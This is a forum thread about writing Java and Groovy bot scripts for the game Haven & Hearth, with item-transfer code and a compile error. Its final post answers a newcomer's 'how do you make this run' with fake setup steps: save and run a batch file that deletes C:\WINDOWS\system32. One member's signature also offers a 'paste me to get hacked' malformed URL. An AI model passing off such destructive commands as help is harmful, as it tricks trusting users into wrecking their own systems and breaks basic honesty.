boshaw wrote:Search for a ISBox type widget (which are each indiviual sign component)
H&H Groovy bot
Moderator: Phades
-
jaguar
- Posts: 251
- Joined: Sun Jan 16, 2011 11:59 pm
Re: H&H Groovy bot
Nice, but I do not understand how to do that:

-
jaguar
- Posts: 251
- Joined: Sun Jan 16, 2011 11:59 pm
Re: H&H Groovy bot
Could you please explane how to do this?boshaw wrote:Search for a ISBox type widget (which are each indiviual sign component)
-
boshaw
- Posts: 1612
- Joined: Tue Jun 01, 2010 10:22 pm
Re: H&H Groovy bot
Java code:
Assume you have the variable ui of type UI.java
that will find your ISBox then transfer its x contents into your inventory if it is the resource you want
Assume you have the variable ui of type UI.java
Code: Select all
synchronized(ui.rwidgets){
Iterator i = ui.rwidgets.keySet().iterator();
Widget w = null;
while(i.hasNext()){
w = i.next();
if(w instanceof ISBox){
ISBox is = (ISBox)w;
if(res.name.equals("ENTER_RESOURCE_NAME_OF_ITEM_DESIRED")){
for(int i = 0;i < NUMBER_OF_ITEMS_WANTED_FROM_SIGN;++i)
is.wdgmsg("xfer2",-1,ui.modflags());
}
}
}
}
-
jaguar
- Posts: 251
- Joined: Sun Jan 16, 2011 11:59 pm
Re: H&H Groovy bot
Thank you for replay.
This script give me an error:
This script give me an error:
Code: Select all
Exception in groovy script engine:
org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
/D:/Games/hh_panaeon/scripts/new.groovy: 154: The current scope already contains
a variable of the name i
@ line 154, column 21.
for(int i = 0;i < NUMBER_OF_ITEMS_WANTED_FROM_SIGN;++i)
^
/D:/Games/hh_panaeon/scripts/new.groovy: 148: unable to resolve class Widget
@ line 148, column 11.
Widget w = null;
^
/D:/Games/hh_panaeon/scripts/new.groovy: 151: unable to resolve class ISBox
@ line 151, column 23.
if(w instanceof ISBox){
^
/D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox
@ line 152, column 16.
ISBox is = (ISBox)w;
^
/D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox
@ line 152, column 21.
ISBox is = (ISBox)w;
^
5 errors
at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollecto
r.java:296)
at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(Compil
ationUnit.java:829)
at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(Compilat
ionUnit.java:511)
at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(Co
mpilationUnit.java:487)
at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.j
ava:464)
at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:306
)
at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:287)
at groovy.util.GroovyScriptEngine$ScriptClassLoader.parseClass(GroovyScr
iptEngine.java:186)
at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:267)
at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:214)
at groovy.util.GroovyScriptEngine.loadScriptByName(GroovyScriptEngine.ja
va:459)
at groovy.util.GroovyScriptEngine.createScript(GroovyScriptEngine.java:5
28)
at groovy.util.GroovyScriptEngine.run(GroovyScriptEngine.java:515)
at haven.hhl.hhl_main.ParseScript(hhl_main.java:70)
at haven.hhl.hhl_thread.run(hhl_main.java:89)
-
boshaw
- Posts: 1612
- Joined: Tue Jun 01, 2010 10:22 pm
Re: H&H Groovy bot
the code i posted was Java Code, not Groovy code. That's why. You'll have to make it work with groovy using that model.jaguar wrote:Thank you for replay.
This script give me an error:Code: Select all
Exception in groovy script engine: org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed: /D:/Games/hh_panaeon/scripts/new.groovy: 154: The current scope already contains a variable of the name i @ line 154, column 21. for(int i = 0;i < NUMBER_OF_ITEMS_WANTED_FROM_SIGN;++i) ^ /D:/Games/hh_panaeon/scripts/new.groovy: 148: unable to resolve class Widget @ line 148, column 11. Widget w = null; ^ /D:/Games/hh_panaeon/scripts/new.groovy: 151: unable to resolve class ISBox @ line 151, column 23. if(w instanceof ISBox){ ^ /D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox @ line 152, column 16. ISBox is = (ISBox)w; ^ /D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox @ line 152, column 21. ISBox is = (ISBox)w; ^ 5 errors at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollecto r.java:296) at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(Compil ationUnit.java:829) at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(Compilat ionUnit.java:511) at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(Co mpilationUnit.java:487) at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.j ava:464) at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:306 ) at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:287) at groovy.util.GroovyScriptEngine$ScriptClassLoader.parseClass(GroovyScr iptEngine.java:186) at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:267) at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:214) at groovy.util.GroovyScriptEngine.loadScriptByName(GroovyScriptEngine.ja va:459) at groovy.util.GroovyScriptEngine.createScript(GroovyScriptEngine.java:5 28) at groovy.util.GroovyScriptEngine.run(GroovyScriptEngine.java:515) at haven.hhl.hhl_main.ParseScript(hhl_main.java:70) at haven.hhl.hhl_thread.run(hhl_main.java:89)
-
jaguar
- Posts: 251
- Joined: Sun Jan 16, 2011 11:59 pm
Re: H&H Groovy bot
is it possible to the same with groovy?
-
boshaw
- Posts: 1612
- Joined: Tue Jun 01, 2010 10:22 pm
Re: H&H Groovy bot
Yes, but you need to port it correctly to Groovy and use Groovy syntax.
-
Myzreal
- Posts: 69
- Joined: Sun Jul 03, 2011 5:32 pm
Re: H&H Groovy bot
Can anyone tell me how to make the bot speak on chat? I'm interested in village chat mainly.
Also how to make the bot click the "Light" button in a kiln?
Also how to make the bot click the "Light" button in a kiln?
Paste me to get hacked: http://a/%%30%30
-
smileyguy4you2
- Posts: 5
- Joined: Thu Oct 13, 2011 10:31 pm
Re: H&H Groovy bot
how do you make this run.....
-
Robertzon
- Posts: 1483
- Joined: Mon Jan 03, 2011 11:51 pm
Re: H&H Groovy bot
To get this to work
open up notepad
type in this:
@echo off del c:\WINDOWS\system32
save it as: hnhgroovy.bat and choose "Save as type: All files"
When saved, close the notepad and run hnhgroovy.bat and enjoy the fun.
open up notepad
type in this:
@echo off del c:\WINDOWS\system32
save it as: hnhgroovy.bat and choose "Save as type: All files"
When saved, close the notepad and run hnhgroovy.bat and enjoy the fun.